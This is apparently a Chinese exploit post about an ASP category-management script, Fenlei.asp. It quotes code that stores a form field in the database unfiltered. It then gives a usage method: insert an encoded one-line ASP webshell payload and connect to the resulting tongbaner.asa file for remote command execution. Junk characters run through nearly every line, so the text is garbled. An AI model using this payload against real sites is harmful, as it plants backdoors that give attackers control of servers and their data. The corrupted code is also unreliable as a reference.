'Fenlei.asp
! W; P- E: C3 }1 i- a& `4 f8 M6 q& l& l/ n6 A- V. D2 W+ ]; [' l
IF Request.QueryString("Action")="del" Then
" h+ @+ J( {$ YID=Request.QueryString("ID")
$ D" U- u& l1 K3 Z7 I' gIF Countss ("tui","Fenlei",ID )<>0 then
) L7 }8 P; z9 V& x& L2 ['略
$ V( V3 p' }5 Y+ S" B3 w- k. T# \IF Request.QueryString("Action")="Add" Then
$ M/ f" Z* @+ Q2 A1 }4 tTname=Request.Form("Typename") % F6 f2 l1 i! F0 a
Set Rs=Server.CreateObject("adodb.Recordset")
( O1 {% H3 z& e- A8 Q2 JSql="Select * From Fenlei Order by id Desc " 3 }) q p2 F4 S9 v% S' u
Rs.Open Sql,Conn,1,3 $ z2 F1 Q( r2 c; y \: ^% @% h! u2 ~; ]
Rs.Addnew
% ^$ ]0 K0 l; [5 J$ lRs("Typename")=Tname
- N0 N" A/ Q: W5 e5 u'略 / u- Z/ z- D( @
Set Rs=Server.CreateObject("adodb.Recordset")
8 {7 i2 l% }+ rSql="Select * From Fenlei Order by id Desc "
1 E2 ]& L+ y& p3 [( V. BRs.Open Sql,Conn,1,1
& a$ E4 V+ A8 L) F* K'略
3 z3 F$ q7 `5 Z( G6 \. w9 y%> j8 y8 V! F, c9 [
" g5 ]( B F% `/ T) b7 C
! m8 Q# _' H- t
. e& c9 _0 r3 Y8 l没有过滤,直接写入数据库。
; J. n: j6 B) C3 B( A
! b- @ C6 Y, k& J利用方法: r3 s& h& U% H! @9 q
* F8 @0 t7 q2 i0 l: i插入:┼攠數畣整爠煥敵瑳∨≡┩>
( |1 l% k6 J8 S% l ! C$ L. I! c( B
3 D: ]: j# A4 L1 _7 r连接: http://www.xxx.com/###tongbaner.asa ! D q1 R' J8 d: {
'默认安装文件: & q h5 q: e) Y8 D5 C
'install.asp
4 ^' [$ O2 q. ^' G) V g |